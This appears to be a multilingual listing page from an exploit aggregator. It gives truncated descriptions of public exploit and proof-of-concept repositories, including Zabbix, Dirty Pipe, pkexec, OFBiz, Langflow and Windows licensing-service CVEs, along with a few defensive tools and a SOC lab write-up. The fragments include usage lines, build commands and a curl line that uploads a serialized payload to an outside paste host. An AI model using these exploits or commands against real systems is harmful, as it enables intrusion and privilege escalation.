CVE-2019-17382-EXPLOIT

CVE-2019-17382 - Обход аутентификации в Zabbix Критическая уязвимость, обнаруженная в Zabbix до версии 4.4. Проблема существует в файле zabbix.php при обращении к действию dashboard.view с параметром dashboardid=1. Она позволяет злоумышленникам обойти страницу входа, предоставляя...

Dirty-Pipe-Exploit

Dirty-Pipe-Exploit Эксплойт Dirty Pipe CVE-2022-0847 — это уязвимость ядра Linux v5.8+, позволяющая непривилегированным атакующим перезаписывать произвольные файлы через недостаток в механизме pipe. Это приводит к повышению привилегий, предоставляя root-доступ. Похожа на Dirty Cow, но легче в...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Эксплойт для Apache OFBiz CVE-2024-38856 Автор: Alisson Faoli Описание Этот репозиторий содержит эксплойт для уязвимости CVE-2024-38856, обнаруженной в Apache OFBiz. Уязвимость позволяет выполнить удаленный код без аутентификации RCE. Примечание: Данный эксплойт предоставляет...

CVE-2021-4034

CVE-2021-4034 pkexec Использование этого скрипта на Python использует уязвимость в файле pkexec для получения доступа к root без ввода учетных данных. · Обнаруживает, имеет ли бинарный файл привилегии SUID, в этом случае он уязвим root@kitploit: usuario@gatogamer $ ls -la /usr/bin/pkexec .rwsr-xr...

CVE-2020-9047

Меню использования/справки root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of...

Vulnerability handling is handled differently in GitLab Community and Enterprise editions.

GitLab has identified a vulnerability in both the Community and Enterprise editions of the platform. The vulnerability resides in the repository commit API, where path traversal is possible. As a result, unauthenticated users can read arbitrary files on the system. The root cause of the...

Exploit for Use After Free in Linux Linux_Kernel

No d...

Mitel-MiCollab-Auth-Bypass_CVE-2024-41713

CVE-2024-41713 Mitel MiCollab: Обход аутентификации для чтения произвольных файлов Смотрите наш пост в блоге для технических деталей root@kitploit: / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

spill

Spill 단일 IP / CIDR을 빠르게 스캔하여 UDP 631 포트에서 OpenPrinting CVE 2024-47176을 탐지하는 유틸리티입니다. 이 유틸리티는 빠르고 투박하지만, 일부 사람들에게는 유용할 수 있습니다. 악용 코드Exploit는 의도적으로 제외되었습니다. 이 도구는 스캔과 사용자 인식 제고를 위해 설계되었기 때문입니다. 프로젝트 빌드 root@kitploit: go build . 사용법 root@kitploit: Usage: -dest string IP address for callbacks -destpo...

CVE-2026-68398

CVE-2026-68398: Ubuntu PPPoL2TP use-after-free 로컬 루트 권한 상승 이 저장소는 CVE-2026-68398 에 대한 특정 빌드 전용 로컬 권한 상승 익스플로잇을 포함합니다. 이 취약점은 PPPoL2TP 수신 처리와 연결되지 않은 PPP 채널 소멸 사이의 use-after-free 경쟁 조건입니다. QEMU에서 공식 Ubuntu 22.04 패키지 linux-image-5.15.0-187-generic5.15.0-187.197을 대상으로 검증되었습니다. 최종 테스트는 보충...

cve-2020-9006

CVE-2020-9006: Wordpress Popup-Builder 플러그인 익스플로잇 사용법: root@kitploit: Create and upload payload Also see: php create-serialized-payload.php -h $ php create-serialized-payload.php | curl -F 'sprunge=-' http://sprunge.us http://sprunge.us/XXXXXX Run exploit $ nmap --script ./cve-2020-9006...

CVE-2024-38077-MadLicense-exploit

CVE-2024-38077 MadLicense - 완전한 익스플로잇 프레임워크 📚 발표를 위한 기술 문서 이 문서는 프레임워크의 각 구성 요소 가 왜 존재하는지 , 그리고 어떻게 작동하는지 를 설명하며, Windows 최신 환경에서의 힙 버퍼 오버플로우 익스플로잇을 다룹니다. 🎯 CVE-2024-38077이란? 취약점 Windows 원격 데스크톱 라이선스 서비스lserver.exe는 CDataCoding::DecodeData 함수에서 힙 버퍼 오버플로우 가 발생합니다. root@kitploit:...

CVE-2026-42945_NginxRift

🚀 NGINX Rift PoC Automation — CVE-2026-42945 nginx-rift 컨테이너의 RCE 익스플로잇을 위한 PoC 자동화 드라이버 · 대상 검증 → 단일 명령 익스플로잇 → 대화형 리버스 셸 단일 명령으로 컨테이너 확인부터 셸 획득까지 전체 익스플로잇 흐름을 오케스트레이션합니다. ⚠️ 윤리적 및 법적 경고 이 도구는 합법적이고 승인된 보안 테스트 전용 입니다 — 계약된 펜테스트, 랩/CTF, 또는 본인 소유 자산. 시스템 소유자의 허가 없이 사용하는 것은 범죄 행위입니다UU ITE, Computer...

CVE-2023-32233

ビルドと設定 以下の手順は Ubuntu 23.04 Lunar Lobster でテスト済みです。 ビルド依存関係のインストール 次のコマンドを実行してビルド依存関係をインストールします: root@kitploit: sudo apt install gcc libmnl-dev libnftnl-dev バイナリのビルド 次のコマンドを実行して PoC バイナリをビルドします: root@kitploit: gcc -Wall -o exploit exploit.c -lmnl -lnftnl プロファイルの更新 組み込みプロファイルには、Ubuntu 23.04 Lunar...

mcpsnoop v0.22.0

Wireshark for MCP. A transparent proxy that shows every real tool call between your AI client and your MCP servers, live in your terminal. The problem The official MCP Inspector connects as its own client, so it never sees what your client Cursor, Claude Code, Codex actually sends your server. An...

CVE-2024-32019-PoC

CVE-2024-32019-PoC Bash-скрипт для повышения привилегий через «ndsudo» локальный эксплойт Netdata Затронутые версии Netdata = v1.45.0, = v1.44.0-60, v1.45.0-169 Описание уязвимости Инструмент «ndsudo» запускает ограниченный набор внешних команд, но пути поиска задаются переменными окружения «PATH...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell 소개 저는 LetsDefend 랩에서 ToolShellCVE-2025-53770이라고 하는 SharePoint 제로데이를 분석했습니다. 악성 POST 요청이 인증을 우회하고, PowerShell을 실행해 MachineKeySection 키를 탈취하고, payload.exe를 컴파일하고, 웹 셸spinstall0.aspx을 드롭하는 실제 제로데이 공격을 재현했습니다. 모든 것을 기록하고, 동작을 분석하고, 호스트를...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Эксплойт удалённого выполнения кода для Langflow CVE-2025-3248 Возможности Автоматическое обнаружение уязвимости Несколько режимов эксплуатации: Интерактивная оболочка Выполнение одиночной команды Подключение обратной оболочки Возможность загрузки файлов Цветной...

CVE-2021-21972

CVE-2021-21972 설명 vSphere ClientHTML5에는 vCenter Server 플러그인의 원격 코드 실행 취약점이 있습니다. 포트 443에 대한 네트워크 액세스 권한을 가진 악의적인 행위자는 이 문제를 악용하여 vCenter Server를 호스팅하는 기반 운영 체제에서 무제한 권한으로 명령을 실행할 수 있습니다. 이 취약점은 VMware vCenter Server7.0 U1c 이전의 7.x, 6.7 U3l 이전의 6.7 및 6.5 U3n 이전의 6.5와 VMware Cloud Foundation4.2 이전의...

exploit-CVE-2022-0482

Раскрытие PII в Easy!Appointments Easy!Appointments --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder All events since default: 2015-01-11 All events until default: today --debug Display arguments -h, --help Show this screen Examples: exploit.r...